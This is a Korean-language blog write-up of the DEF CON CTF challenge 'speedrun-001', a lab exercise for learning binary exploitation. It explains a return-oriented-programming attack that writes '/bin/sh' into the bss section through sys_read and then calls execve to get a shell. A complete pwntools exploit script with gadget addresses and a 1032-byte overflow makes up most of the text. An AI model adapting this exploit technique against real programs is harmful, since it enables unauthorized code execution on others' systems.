일단 이 문제는 간단한 SROP 문제이다. (그러면서 대회 당일날 못풀었다 ㅋㅋㅋ)
일단 syscall 을 구해줘야된다.
그리고 rax, rdi, rsi, rdx, syscall 순으로 구해줘야된다. 가젯을 구하기위해서 나는 ropgadget 이란것을 사용했다.
이런식으로 가젯을 구해주고 syscall 도 구하면 된다. 처음에 syscall 구하는방법을 몰라서 고생했다 ㅋㅋㅋㅋ
그냥 이런식으로 바꿔줘서 찾으면 된다 ㅋㅋㅋ
여기에 존재한다.
익스 시나리오를 짜보면 syscall 이 존재하므로 sys read 를 이용해서 bss영역에 /bin/sh 을 쓸준비를 한다.
그리고 bss 영역에있는 /bin/sh 을 사용하여 sys_execve 를 이용해서 쉘을 따주면 되겠다.
from pwn import *
p = process("speedrun-001")
binf = ELF("speedrun-001")
addr_syscall = 0x474e65
addr_pop_rax = 0x415664
addr_pop_rdi = 0x400686
addr_pop_rsi = 0x4101f3
addr_pop_rdx = 0x4498b5
addr_bss = binf.bss()
payload = "A" * 1032
payload += p64(addr_pop_rax) + p64(0) #syscall table nuber sysread
payload += p64(addr_pop_rdi) + p64(0)
payload += p64(addr_pop_rsi) + p64(addr_bss)
payload += p64(addr_pop_rdx) + p64(8)
payload += p64(addr_syscall)
payload += p64(addr_pop_rax) + p64(59) #syscall table number sys_execve
payload += p64(addr_pop_rdi) + p64(addr_bss)
payload += p64(addr_pop_rsi) + p64(0)
payload += p64(addr_pop_rdx) + p64(0)
payload += p64(addr_syscall)
p.recvuntil("?\n")
p.send(payload)
p.send("/bin/sh")
p.interactive()
쉘이 따진다~
'CTF > Defcon' 카테고리의 다른 글
Defcon pwnable_speedrun-002 Write up (0) | 2019.10.23 |
---|---|
Defcon pwnable_r0pbaby Write up (0) | 2019.10.20 |
PlaidCTF pwnable_ropasaurusrex Write up (0) | 2019.10.20 |